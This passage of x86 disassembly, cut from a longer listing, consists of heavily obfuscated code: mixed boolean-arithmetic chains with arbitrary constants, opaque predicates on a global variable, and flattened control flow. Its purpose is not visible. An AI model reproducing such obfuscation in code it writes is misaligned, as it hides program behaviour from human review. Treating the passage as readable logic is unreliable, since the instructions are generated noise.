and edx, 0x5a686081
and ecx, 0xa5979f7e
or ecx, edx
xor ecx, 0x5a686081
xor edi, ecx
and edi, ecx
mov eax, dword [ebp - 0x24]
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0x896c0f74
mov ecx, eax
and ecx, 0x7693f08b
or ecx, edx
mov edx, ecx
xor edx, 0x6082c082
xor ecx, 0x9640b74
and ecx, 0x1f753b7d
and edx, 0xe08ac482
or edx, ecx
mov dword [ebp - 0x20], edx
mov esi, edi
not esi
mov ecx, esi
and ecx, 0x418354d5
mov edx, edi
and edi, 0xbe7cab2a
or edi, ecx
and edx, 0x402da21c
xor edi, 0x38906ca3
or edi, esi
and esi, 0xbfd25de3
or esi, edx
or ebx, 0x6a0c508
and eax, 0x29131832
and ebx, 0x56a0e54c
or ebx, eax
mov ecx, dword [ebp - 0x20]
xor ecx, 0x1f753b7d
mov dword [ebp - 0x28], ecx
and ecx, 0x86ecc789
xor ebx, 0x56a0e54c
or ebx, ecx
mov dword [ebp - 0x14], ebx
mov ecx, esi
xor ecx, 0x402da21c
mov dword [ebp - 0x24], ecx
xor esi, 0xbfd25de3
mov dword [ebp - 0x2c], esi
or esi, 0x31100850
and ecx, 0x80240308
and esi, 0x37d8ccd1
or esi, ecx
mov ebx, edi
not ebx
mov ecx, edi
and ecx, 0x85f235ba
xor edi, 0x642f31d2
and edi, ebx
and ebx, 0x7a0dca45
or ebx, ecx
mov eax, esi
xor eax, 0x37d8ccd1
mov dword [ebp - 0x38], eax
mov ecx, esi
xor ecx, 0xc827332e
mov dword [ebp - 0x34], ecx
and ecx, 0x93d0ce2d
xor esi, 0x84080288
and esi, eax
or esi, ecx
mov eax, ebx
xor eax, 0x7a0dca45
mov dword [ebp - 0x30], eax
mov edx, ebx
xor edx, 0x1e22fb97
and edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x2eaa38d1
and edx, 0xd155c72e
or edx, eax
mov eax, edi
not eax
or ecx, eax
and eax, 0x2eaa38d1
and edi, 0xd155c72e
or edi, eax
xor edi, edx
not ecx
or ecx, edi
xor ecx, esi
mov edx, dword [ebp - 0x38]
mov eax, edx
and eax, 0x4c48100
mov esi, dword [ebp - 0x34]
and esi, 0x82297eb9
or esi, eax
mov edi, esi
xor ebx, 0x85f235ba
or edx, ebx
mov esi, edx
and ebx, 0x7dd68146
mov eax, dword [ebp - 0x30]
and eax, 0x82297eb9
or eax, ebx
xor eax, edi
not esi
or esi, eax
mov eax, ecx
xor eax, 0xf7ffffff
mov edx, eax
and edx, 0x2b1da480
and ecx, 0xd4e25b7f
or ecx, edx
xor ecx, esi
or eax, esi
xor ecx, 0xd4e25b7f
not eax
or eax, ecx
mov edi, dword [ebp - 0x14]
mov edx, edi
not edx
mov esi, edx
and esi, 0xc717c95c
mov ecx, edi
and ecx, 0x38e836a3
or ecx, esi
mov esi, eax
not esi
xor ecx, 0xc717c95c
or ecx, esi
and esi, 0x54c6d05
and eax, 0xfab392fa
or eax, esi
xor eax, edx
xor eax, 0xfab392fa
and eax, edi
mov esi, eax
not esi
mov edx, esi
and edx, 0xf4f2543e
and eax, 0xb0dabc1
or eax, edx
xor eax, ecx
or esi, ecx
xor eax, 0xb0dabc1
not esi
or esi, eax
mov edi, esi
mov ecx, dword [ebp - 0x20]
xor ecx, 0x808a8400
mov edx, dword [ebp - 0x28]
mov eax, edx
mov esi, dword [ebp - 0x2c]
xor eax, esi
and eax, edx
and ecx, 0x84af8505
and edx, 0x7b507afa
or edx, ecx
and esi, 0x84af8505
mov ecx, esi
mov esi, dword [ebp - 0x24]
and esi, 0x7b507afa
or esi, ecx
xor esi, edx
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x12255464
mov edx, esi
and edx, 0x60000089
or edx, ecx
mov ecx, edx
xor ecx, 0x60000088
xor edx, 0xb6dcc72
and edx, 0xb6dcc73
and ecx, 0x7000108c
or ecx, edx
or eax, 0x2254461
and eax, 0xb6dcc73
mov edx, esi
and edx, 0x84922300
or edx, eax
xor edx, ecx
mov esi, edx
xor esi, 0x895a2902
xor edx, 0x722554ed
mov eax, edx
and eax, 0x6680d239
and esi, 0x997f2dc6
or esi, eax
xor esi, 0x997f2dc6
or esi, edx
mov eax, edi
mov dword [ebp - 0x14], edi
not edi
mov ecx, edi
and ecx, 0xca24ffc0
and eax, 0x35db003f
or eax, ecx
mov ebx, esi
not ebx
mov dword [ebp - 0x20], ebx
mov ecx, esi
and ecx, 0x51315152
and ebx, 0xaeceaead
or ebx, ecx
mov edx, eax
xor edx, 0x35db003f
mov dword [ebp - 0x24], edx
xor eax, 0xca24ffc0
mov ecx, eax
or ecx, 0x1300681a
and ecx, 0x9b31fa3b
and edx, 0x248401c0
or edx, ecx
mov dword [ebp - 0x28], edx
or edi, 0x88319221
and edi, 0x9b31fa3b
mov ecx, dword [ebp - 0x14]
and ecx, 0x404a0404
or ecx, edi
mov dword [ebp - 0x14], ecx
mov edi, ebx
xor edi, 0xaeceaead
xor ebx, 0x51315152
mov ecx, ebx
or ecx, 0x5302481c
and ecx, 0xd786497d
mov edx, edi
and edx, 0x28319280
or edx, ecx
or esi, 0x84840161
and esi, 0xd786497d
mov ecx, dword [ebp - 0x20]
and ecx, 0x482402
or ecx, esi
xor ecx, edx
xor ecx, dword [ebp - 0x14]
xor ecx, dword [ebp - 0x28]
mov edx, ecx
mov ecx, eax
and ecx, 0x81b5afd4
mov esi, dword [ebp - 0x24]
and esi, 0x7e4a502b
or esi, ecx
or eax, ebx
and ebx, 0x81b5afd4
and edi, 0x7e4a502b
or edi, ebx
xor edi, esi
not eax
or eax, edi
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, ecx
mov edi, edx
not edi
mov esi, edi
and esi, 0xa7acbb17
and edx, 0x585344e8
or edx, esi
or edi, eax
and eax, 0xa7acbb17
and ecx, 0x585344e8
or ecx, eax
xor ecx, edx
not edi
or edi, ecx
mov esi, dword [ebp - 0x18]
mov ecx, esi
and ecx, 0x59c33e9f
mov ebx, dword [ebp - 0x1c]
mov eax, ebx
and eax, 0xa63cc160
or eax, ecx
mov ecx, eax
xor ecx, 0xa0384140
xor eax, 0x11431c8e
and eax, 0x17479cae
and ecx, 0xe8b86351
or ecx, eax
mov eax, ecx
xor eax, 0xe8b86351
xor ecx, 0x104400a0
and ecx, 0x106421a1
mov edx, eax
and edx, 0xef9bde5e
or edx, ecx
xor edx, 0xe31ef40d
and eax, 0xf37ad5ac
or eax, edx
mov edx, esi
or edx, 0x8852a40
mov ecx, ebx
and ecx, 0x131090a4
and edx, 0xe8ef6f48
or edx, ecx
mov ecx, edx
xor ecx, 0x171090b7
xor edx, ecx
xor edx, 0xe8ef6f48
and edx, eax
or eax, ecx
xor edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xd4545ead
and edx, 0x2baba152
or edx, ecx
or ebx, eax
and eax, 0xf77edfad
xor eax, edx
xor eax, 0x232a8100
not ebx
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
or ecx, 0x34014a8
mov edx, ebx
or edx, 0x40842
and edx, 0x3441cea
and eax, 0xf03ac104
or eax, edx
and ecx, 0x3441cea
and ebx, 0xc812211
or ebx, ecx
xor ebx, eax
mov eax, edi
not eax
mov dword [ebp - 0x1c], eax
and eax, 0xee391309
mov edx, edi
and edx, 0x11c6ecf6
or edx, eax
mov eax, edx
xor eax, 0x1040054
xor edx, 0x40391208
or edx, 0xae40a523
mov ecx, edx
mov esi, edx
and ecx, 0xf8d24aa1
and eax, 0x12d105c
or eax, ecx
mov dword [ebp - 0x2c], edi
mov ecx, edi
xor ecx, 0x51bf5adc
and ecx, edi
mov edx, ecx
not edx
or esi, edx
and edx, 0xf8d24aa1
and ecx, 0x72db55e
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov edx, ebx
not edx
mov eax, edx
and eax, 0xe586d85f
mov ecx, ebx
and ebx, 0x1a7927a0
or ebx, eax
and ecx, 0x40c80274
xor ebx, 0x7c683746
or ebx, edx
and edx, 0xbf37fd8b
or edx, ecx
mov dword [ebp - 0x20], esi
mov eax, esi
xor eax, 0xae40a523
mov dword [ebp - 0x24], eax
mov ecx, esi
xor ecx, 0x51bf5adc
mov dword [ebp - 0x18], ecx
and ecx, 0x735ccb3c
and eax, 0x8ca334c3
or eax, ecx
mov esi, edx
xor esi, 0x40c80274
mov dword [ebp - 0x14], esi
xor edx, 0xbf37fd8b
mov ecx, edx
mov edi, edx
mov dword [ebp - 0x28], edx
and ecx, 0xee5295e1
mov edx, esi
and edx, 0x11ad6a1e
or edx, ecx
xor edx, 0x77bc7af8
mov esi, edx
xor esi, edi
and esi, edx
xor eax, 0x154ddbda
or eax, dword [ebp - 0x18]
mov edx, eax
not edx
mov edi, dword [ebp - 0x1c]
or edi, 0x661110e6
mov ecx, edx
xor ecx, edi
and ecx, edx
and eax, 0x3e642818
and edx, 0xc19bd7e7
or edx, eax
mov eax, edi
and eax, 0x3e642818
mov edi, dword [ebp - 0x2c]
and edi, 0x818ac701
or edi, eax
xor edi, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0xc7eb0e6c
and ecx, 0x3814f193
or ecx, eax
mov eax, edi
not eax
or edx, eax
and eax, 0xc7eb0e6c
and edi, 0x3814f193
or edi, eax
xor edi, ecx
not edx
or edx, edi
mov eax, esi
not eax
mov ecx, eax
and eax, 0xd5074231
and esi, 0x2af8bdce
or esi, eax
or ecx, ebx
xor esi, ebx
not ecx
xor esi, 0x2af8bdce
or esi, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xf7742dae
and edx, 0x88bd251
or edx, eax
or ecx, esi
not esi
xor edx, 0xf7742dae
or edx, esi
mov eax, ecx
xor eax, edx
or edx, ecx
not edx
or edx, eax
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x20]
xor edx, 0x91b04a73
mov edi, dword [ebp - 0x24]
and edx, edi
mov eax, dword [ebp - 0x18]
and eax, 0x384690b6
and edi, 0xc7b96f49
or edi, eax
mov esi, dword [ebp - 0x28]
and esi, 0x444e5d04
mov ecx, dword [ebp - 0x14]
mov eax, ecx
and eax, 0xbbb1a2fb
or eax, esi
mov esi, eax
xor esi, 0xbbb1a2fb
xor eax, 0x7bbeb254
and eax, esi
and ecx, 0xc00f10af
or ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, edi
xor eax, 0xc7b96f49
xor edi, 0x7b67fe6
and edi, eax
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0xed0523a6
and edi, 0x12fadc59
or edi, ecx
mov ecx, edx
not ecx
or ebx, ecx
and ecx, 0xed0523a6
and edx, 0x12fadc59
or edx, ecx
xor edx, edi
not ebx
or ebx, edx
mov ecx, dword [ebp - 0x14]
mov edx, ecx
xor edx, ecx
not edx
and edx, ebx
xor edx, ecx
or esi, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x933e9fdf
and edx, 0x6cc16020
or edx, ecx
mov ecx, esi
not ecx
or eax, esi
and esi, 0x933e9fdf
and ecx, 0x6cc16020
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov esi, dword [ebp - 0x1c]
mov edx, esi
not edx
mov ecx, esi
xor ecx, 0x139a16f
and ecx, edx
and esi, 0xfec65e90
or esi, ecx
mov ebx, esi
mov esi, eax
mov edi, eax
or edx, eax
not eax
xor esi, 0xfec65e90
and esi, eax
or eax, 0xfec65e90
mov ecx, eax
and ecx, 0x24242bb4
and edi, 0x119804b
or edi, ecx
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0x24242bb4
and esi, 0xdbdbd44b
or esi, ecx
xor esi, edi
not eax
or eax, esi
mov ecx, eax
xor ecx, eax
not ecx
and ecx, ebx
xor ecx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x185e1a4e
and ecx, 0xe7a1e5b1
or ecx, esi
xor ecx, edx
xor ecx, 0xe7a1e5b1
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x901b5fc7
and ecx, 0x6fe4a038
or ecx, eax
mov edx, ecx
xor edx, 0x6fe4a038
xor ecx, 0x901b5fc7
mov esi, edx
and esi, ecx
mov eax, esi
not eax
mov edi, eax
and edi, 0xc531f8ca
and esi, 0x3ace0735
or esi, edi
or eax, edx
and edx, 0xc531f8ca
and ecx, 0x3ace0735
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x2da5a888
and ecx, eax
or eax, 0xd25a5777
mov esi, eax
and esi, 0xa62861ed
and edx, 0x9858800
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0xa62861ed
and ecx, 0x59d79e12
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xd25a5777
mov edx, eax
xor edx, 0x2da5a888
or edx, ecx
xor eax, 0xb0d2327d
and eax, edx
mov ecx, eax
xor ecx, 0x6288650a
xor eax, 0x9d779af5
mov edx, eax
and edx, 0x745db63f
mov esi, ecx
and esi, 0x8ba249c0
or esi, edx
mov edx, esi
xor edx, 0xa20000
xor esi, 0x10109002
or esi, 0x82084120
and esi, 0x9b18d9a2
and edx, 0x4e20018
or edx, esi
or eax, 0x19109882
and eax, 0x9b18d9a2
and ecx, 0x60052645
or ecx, eax
xor ecx, edx
mov eax, ecx
xor eax, 0xe20d6765
xor ecx, 0x15929808
and eax, 0x2a646192
and ecx, 0xd59b9e6d
or ecx, eax
xor ecx, 0xd59b9e6d
setne cl
sete ah
cmp dword [0x10049904], 0xa
setge ch
setl dl
and ah, dl
mov al, ch
and al, cl
or al, ah
mov ah, al
xor ah, 1
and al, ah
xor al, 1
mov dh, ah
xor dh, al
or al, ah
xor al, 1
or al, dh
mov dh, al
xor dh, 1
and dh, dl
and al, ch
or al, dh
mov dh, ah
xor dh, ch
or ah, ch
xor ah, 1
or ah, dh
xor al, 1
mov ch, al
xor ch, ah
or al, ah
xor al, 1
or al, ch
mov ah, al
xor ah, 1
mov ch, dl
xor ch, cl
or dl, cl
mov ebx, edx
xor bl, 1
or ch, bl
mov cl, ch
xor cl, 1
mov dh, bl
and dh, dl
xor dh, 1
or dh, dl
xor dh, 1
or dh, bl
xor dh, cl
xor dh, 1
xor ch, dl
or cl, bl
xor cl, 1
or cl, ch
mov dl, dh
xor dl, cl
or cl, dh
xor cl, 1
or cl, dl
mov ch, cl
xor ch, 1
mov dl, ch
xor dl, ah
and dl, ch
mov dh, al
or dh, ch
xor dl, 1
mov ebx, edx
xor bl, dh
or dl, dh
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
and ch, ah
mov ah, dl
xor ah, 1
and cl, al
or cl, ch
mov al, cl
and al, dl
and dl, ah
xor dl, 1
mov ch, ah
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ch, dl
xor ch, cl
xor cl, 1
and cl, ah
or cl, al
and dl, ch
xor dl, 1
mov eax, edx
xor al, ch
or dl, ch
xor dl, 1
or dl, al
xor dl, cl
and cl, dl
mov eax, edx
xor al, cl
test al, 1
mov esi, 0x1b334a66
mov eax, 0xc95c0907
cmovne esi, eax
test dl, 1
mov eax, 0x1b334a66
cmovne eax, esi
jmp 0x10024d3e
mov eax, 0xfd8852ba
jmp 0x1000f5c0
mov eax, dword [0x10049900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
mov edi, eax
and ecx, 0x5c400020
mov eax, edx
mov esi, edx
and eax, 0x209f81
or eax, ecx
mov ecx, eax
xor ecx, 0x9081
xor eax, 0xffdf607e
mov edx, eax
and edx, 0xc6b4f10
and ecx, 0x500090a1
or ecx, edx
mov edx, esi
xor edx, 0x5c609fa1
and edx, esi
mov ebx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0xc6b4f10
and edx, 0xf394b0ef
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0x2311405e
xor eax, 0x14401f01
and eax, 0x94ce3f01
and ecx, 0x6b31c0fe
or ecx, eax
mov eax, ecx
xor eax, 0x94ce3f01
and eax, ecx
mov ecx, ebx
and ecx, 0x8cc8a216
mov edx, edi
and edx, 0x73375de9
or edx, ecx
xor edx, 0xe7f962e8
mov ecx, edi
mov dword [ebp - 0x14], edi
and ecx, 0x6b31c0fe
or ecx, edx
mov edx, ecx
not edx
mov esi, eax
xor esi, ecx
and ecx, 0xf13dcc81
and edx, 0xec2337e
or edx, ecx
and esi, eax
xor edx, eax
xor edx, 0xf13dcc81
or edx, esi
mov esi, edx
xor esi, 0x94ce3f01
xor edx, 0x6b31c0fe
mov eax, esi
and esi, 0xad141d93
mov ecx, edx
and ecx, 0x52ebe26c
or ecx, esi
or eax, 0xc86183e6
mov esi, eax
and esi, 0xaec04fe2
and edx, 0x111e3019
or edx, esi
mov esi, ecx
xor esi, 0x100a2008
xor ecx, 0x65759e75
or eax, ecx
and ecx, 0xaec04fe2
and esi, 0x513fb01d
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov ecx, eax
not ecx
and eax, 0x1931f665
and ecx, 0xe6ce099a
or ecx, eax
mov edx, ecx
xor edx, 0x10001201
xor ecx, 0xa4ce0990
and ecx, 0xadffedf4
and edx, 0x5200120b
or edx, ecx
mov esi, ebx
or esi, 0x14feb329
mov eax, esi
and eax, 0x9e767691
mov ecx, edi
and ecx, 0x61010846
or ecx, eax
mov eax, ebx
xor eax, 0xeb014cd6
and eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, eax
not edi
or esi, edi
and edi, 0x9e767691
and eax, 0x6189896e
or eax, edi
xor eax, ecx
not esi
or esi, eax
mov eax, esi
xor eax, 0x20208400
xor esi, 0xdc9f30cf
mov ecx, esi
and ecx, 0x874d6b3a
and eax, 0x78b294c5
or eax, ecx
mov ecx, ebx
and ecx, 0x874d6b3a
mov ebx, dword [ebp - 0x14]
and ebx, 0x78b294c5
or ebx, ecx
xor ebx, eax
not ebx
or ebx, esi
mov esi, ebx
not esi
mov eax, ebx
and eax, 0x3d785718
mov edi, esi
and edi, 0xc287a8e7
or edi, eax
mov eax, edx
xor eax, 0x5200120b
xor edx, 0xadffedf4
mov ecx, edi
xor ecx, 0xc287a8e7
and ecx, eax
xor edi, 0x3d785718
and edi, edx
or edi, ecx
mov ecx, eax
and ecx, 0x33251177
and edx, 0xccdaee88
or edx, ecx
xor edx, ebx
xor edx, 0xccdaee88
and edx, esi
and ebx, 0xcb7ff7d0
and esi, 0x3480082f
or esi, ebx
not edi
or edi, eax
xor esi, 0xcb7ff7d0
or esi, eax
not esi
or esi, edx
mov ecx, edi
not ecx
mov edx, esi
not edx
mov eax, ecx
xor eax, edx
and eax, ecx
and edi, 0x5649adbf
and ecx, 0xa9b65240
or ecx, edi
and edx, 0x5649adbf
and esi, 0xa9b65240
or esi, edx
xor esi, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x598c27f
and eax, 0xfa673d80
or eax, ecx
mov ecx, esi
not ecx
or edx, ecx
and ecx, 0x598c27f
and esi, 0xfa673d80
or esi, ecx
xor esi, eax
not edx
or edx, esi
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x2798b45c
mov esi, edx
and esi, 0xd8674ba3
or esi, ecx
mov ecx, esi
xor ecx, 0x80070b01
xor esi, 0x708201c
and esi, 0x5f6860be
and ecx, 0xa0979f41
or ecx, esi
mov edi, ecx
xor edi, 0x1f6840b0
xor ecx, 0x20100701
and ecx, 0x6010270f
and edi, 0x9fefd8f0
or edi, ecx
mov esi, edi
xor esi, 0x80800030
xor edi, 0x40000108
and edi, 0x58018908
and esi, 0x80800034
or esi, edi
and eax, 0x7281041
and edx, 0x20566682
or edx, eax
mov edi, esi
xor edi, 0x80800034
mov eax, esi
xor eax, 0x655bf842
and eax, 0xe5dbf842
xor esi, 0x18810930
and esi, edi
and edi, 0x1800013c
or edi, eax
mov eax, edx
xor eax, 0x20566682
or eax, 0xd881893c
mov ecx, eax
not ecx
and eax, 0x71479c29
xor edx, 0x26582042
and edx, ecx
and ecx, 0x63862c2
or ecx, eax
mov eax, edi
xor eax, 0x1a2407bd
xor edi, 0x5caac145
and edi, eax
or esi, edi
xor ecx, 0x8eb863d6
or eax, ecx
and ecx, 0xb9713907
or edx, ecx
xor edx, esi
mov edi, edx
not edi
mov ecx, edi
and ecx, 0x997a3a
and edx, 0xff6685c5
or edx, ecx
mov ecx, eax
not ecx
or edi, eax
and eax, 0x997a3a
and ecx, 0x25420040
or ecx, eax
xor ecx, edx
not edi
or edi, ecx
mov edx, edi
xor edx, 0xef1ff524
xor edi, 0x10e00adb
mov ecx, edi
and ecx, 0x1802010c
mov eax, edx
and eax, 0x221480f0
or eax, ecx
mov ecx, eax
xor ecx, 0x201080b0
xor eax, 0x5c093f0a
and eax, 0x5e0d3f4a
and ecx, 0x201280b4
or ecx, eax
mov esi, edi
and esi, 0x45b06280
mov eax, edx
and edx, 0xba4f9d7f
or edx, esi
xor edx, 0x45b06280
or edx, edi
or edi, 0x1a040148
and edi, 0x5e0d3f4a
and eax, 0x81e04001
or eax, edi
xor eax, ecx
mov edi, eax
xor edi, 0xc5e97e03
mov dword [ebp - 0x18], edi
mov ebx, eax
xor ebx, 0x3a1681fc
mov dword [ebp - 0x20], ebx
or edi, 0xdf3e8edc
mov esi, edi
and esi, 0x1272b590
and ebx, 0x20814023
or ebx, esi
xor eax, 0xe5280f20
and eax, dword [ebp - 0x18]
mov esi, eax
not esi
or edi, esi
and esi, 0x1272b590
and eax, 0xed8d4a6f
or eax, esi
xor eax, ebx
not edi
or edi, eax
mov dword [ebp - 0x24], edi
mov esi, edx
xor esi, 0xdf3e8edc
mov ecx, esi
and ecx, edx
mov edi, ecx
not edi
mov eax, edi
and eax, 0x29a62b55
and ecx, 0xd659d4aa
or ecx, eax
mov ebx, edx
not ebx
and esi, ebx
mov eax, esi
not eax
or edi, eax
and eax, 0x29a62b55
and esi, 0xd659d4aa
or esi, eax
xor esi, ecx
not edi
or edi, esi
xor edi, dword [ebp - 0x24]
mov esi, dword [ebp - 0x18]
mov eax, esi
and eax, 0x75482b5a
mov ecx, dword [ebp - 0x20]
and ecx, 0x8ab7d4a5
or ecx, eax
or esi, ebx
mov eax, esi
and ebx, 0x75482b5a
and edx, 0x8ab7d4a5
or edx, ebx
xor edx, ecx
not eax
or eax, edx
not eax
or eax, edi
mov ebx, eax
mov esi, dword [ebp - 0x14]
mov eax, esi
and eax, 0x63892127
mov edi, dword [ebp - 0x1c]
mov edx, edi
and edx, 0x80040898
or edx, eax
xor edx, 0x80040898
mov ecx, esi
and ecx, 0x1c72d640
or ecx, edx
mov eax, ecx
not eax
and eax, 0xcba12c2b
and ecx, 0x345ed3d4
or ecx, eax
mov eax, ecx
xor eax, 0xcba12c2b
and eax, ecx
mov edx, esi
or edx, 0x345ed3d4
mov ecx, eax
xor ecx, edx
and ecx, eax
and edx, 0x267b6a99
mov esi, edx
mov edx, edi
and edx, 0xc9800422
or edx, esi
xor edx, eax
xor edx, 0x267b6a99
or edx, ecx
mov ecx, edx
mov eax, edx
xor eax, 0x68c7cf45
and eax, edx
not edx
or ecx, 0x973830ba
mov esi, ecx
and esi, 0xed279822
and edx, 0xc04745
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0xed279822
and eax, 0x12d867dd
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xa366e36e
mov dword [ebp - 0x18], eax
mov edx, ecx
xor edx, 0x5c991c91
mov dword [ebp - 0x14], edx
and edx, 0x91d3cd8f
and eax, 0x6e2c3270
or eax, edx
mov edi, ebx
not edi
mov dword [ebp - 0x1c], edi
mov edx, ebx
mov esi, ebx
and edx, 0xd543c550
mov ebx, edi
and ebx, 0x2abc3aaf
or ebx, edx
mov edx, esi
xor esi, 0xd7cdee20
and esi, edx
mov edi, eax
xor edi, 0x2a2c3220
xor eax, 0x91d3cd8f
or edx, eax
and eax, 0xd543c550
and edi, 0x2abc3aaf
or edi, eax
xor edi, ebx
not edx
or edx, edi
mov eax, dword [ebp - 0x1c]
and eax, 0xd7cdee20
or esi, eax
xor ecx, 0x74ab0d4e
mov eax, dword [ebp - 0x18]
and ecx, eax
mov edi, dword [ebp - 0x14]
and edi, 0x614ee8aa
and eax, 0x9eb11755
or eax, edi
mov edi, eax
xor edi, 0x9eb11755
xor eax, 0xb683068a
and eax, edi
mov ebx, edx
not ebx
or ecx, eax
mov edi, ecx
xor edi, ecx
not edi
and edi, esi
xor edi, ecx
mov eax, edi
not eax
and edi, edx
or edx, eax
not edx
and eax, ebx
or eax, edi
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
mov esi, eax
mov edi, ecx
and edi, 0xe2c8439f
and eax, 0x1d37bc60
or eax, edi
xor eax, 0x7bdb63d6
or eax, ecx
and ecx, 0x30514000
and edx, 0xc68889d5
or edx, ecx
xor edx, 0xc68889d5
and esi, 0x926362a
or esi, edx
mov edi, esi
xor edi, 0x22628
xor esi, 0x72980091
and esi, 0x7bbc1093
and edi, 0x8443ef6c
or edi, esi
mov ecx, edi
xor ecx, 0x440cf24
or ecx, 0x99132049
mov edx, ecx
not edx
and ecx, 0xe3e2b5a2
xor edi, 0x62849e92
and edi, edx
and edx, 0x40c4a14
or edx, ecx
mov ecx, edx
xor ecx, 0x1c1d4a5d
xor edx, 0x22a400
or edx, 0xffc451f6
mov ebx, edx
and ebx, 0xe02c1c82
mov esi, ecx
and esi, 0x18209
or esi, ebx
mov ebx, edi
not ebx
or edx, ebx
and ebx, 0xe03e3c82
and edi, 0x6c0c334
or edi, ebx
xor edi, esi
mov esi, eax
not edx
or edx, edi
mov edi, eax
or ecx, eax
not eax
xor esi, 0xffc451f6
and esi, eax
or eax, 0xffc451f6
mov ebx, eax
and ebx, 0x7a2a31f3
and edi, 0x118e08
or edi, ebx
mov ebx, esi
not ebx
or eax, ebx
and ebx, 0x7a2a31f3
and esi, 0x85d5ce0c
or esi, ebx
xor esi, edi
not eax
or eax, esi
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov edx, esi
not edx
mov eax, edx
and eax, 0xcbd4d473
and esi, 0x342b2b8c
or esi, eax
or edx, ecx
and ecx, 0xeffcdff7
xor ecx, esi
xor ecx, 0x24280b84
not edx
or edx, ecx
mov eax, edx
mov ecx, edx
xor ecx, 0x910235ec
and ecx, edx
not edx
or eax, 0x6efdca13
mov esi, ecx
not esi
mov edi, eax
and edi, 0xffca8da3
and edx, 0x304c
or edx, edi
or eax, esi
and esi, 0xffca8da3
and ecx, 0x35725c
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x81115a5
mov edx, eax
xor edx, 0xf7eeea5a
mov esi, edx
and esi, 0xbac160d3
xor eax, 0xb2d07576
and eax, ecx
or eax, esi
mov esi, eax
xor esi, 0xbac160d3
xor eax, 0x453e9f2c
and edx, eax
and esi, ecx
or esi, edx
xor eax, esi
test eax, esi
sete bh
mov byte [ebp - 0x1c], bh
setne ah
cmp dword [0x10049904], 0xa
setl ch
setge dl
mov cl, dl
xor cl, ah
mov al, cl
xor al, 1
mov dh, ch
xor dh, ah
and dh, ch
and bh, dl
mov bl, ah
and bl, ch
or bh, bl
or bh, dh
xor cl, al
and cl, bh
xor cl, al
or al, bh
xor al, 1
or cl, al
mov al, cl
xor al, 1
and cl, al
xor cl, 1
mov dh, al
xor dh, cl
or cl, al
xor cl, 1
or cl, dh
mov byte [ebp - 0x14], cl
mov bh, cl
xor bh, 1
mov cl, byte [ebp - 0x1c]
and ch, cl
and ah, dl
or ah, ch
or ah, bl
mov dh, ah
xor dh, 1
mov al, dl
xor al, cl
or dl, cl
xor dl, 1
or dl, al
xor dl, 1
or dl, al
mov ch, dl
xor ch, 1
mov al, ah
xor al, dl
or dl, dh
or dh, ch
xor dh, 1
or dh, al
xor dl, 1
or ch, ah
xor ch, 1
or ch, dl
mov ah, ch
and ch, dh
xor dh, 1
xor ah, 1
mov al, dh
xor al, ah
and al, dh
and ah, dh
or ah, ch
or ah, al
mov ch, byte [ebp - 0x14]
mov byte [ebp - 0x18], bh
and ch, bh
xor ch, 1
mov al, bh
or al, ch
xor al, 1
mov cl, ah
xor cl, 1
mov byte [ebp - 0x1c], cl
xor ch, bh
or ch, al
mov al, ch
xor al, 1
and ch, al
xor ch, 1
mov dl, ch
xor dl, al
or ch, al
xor ch, 1
or ch, dl
mov bh, ch
xor bh, 1
and bh, ch
mov bl, bh
xor bl, 1
and bh, bl
xor bh, 1
mov al, bh
xor al, bl
or bh, bl
xor bh, 1
or bh, al
mov al, bl
xor al, ch
or bl, ch
mov dh, bl
xor dh, 1
or dh, al
mov al, bh
xor al, 1
and al, dh
xor dh, 1
and dh, bh
or dh, al
xor dh, 1
mov al, dh
xor al, bl
or dh, bl
xor dh, 1
or dh, al
mov dl, ah
and dl, cl
mov ch, dl
xor ch, 1
mov al, ah
xor al, ch
mov bh, ah
or bh, ch
xor bh, 1
or bh, al
mov al, bh
xor al, 1
mov bl, bh
and bl, al
xor bl, 1
or bl, al
xor bl, 1
or bl, bh
mov cl, bl
and cl, dl
xor bl, 1
and bl, ch
or bl, cl
xor bh, ch
or al, dl
xor al, 1
or al, bh
xor bl, 1
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov al, dh
xor al, 1
mov bh, al
and bh, dh
xor bh, 1
mov cl, dh
xor cl, bh
or bh, dh
xor bh, 1
or bh, cl
xor bh, 1
mov ch, bl
xor ch, 1
or bh, ch
and ch, dh
and bl, al
or ch, bl
mov cl, bh
xor cl, 1
xor ch, 1
or ch, al
mov al, ch
xor al, 1
and al, bh
or bh, ch
and ch, cl
or ch, al
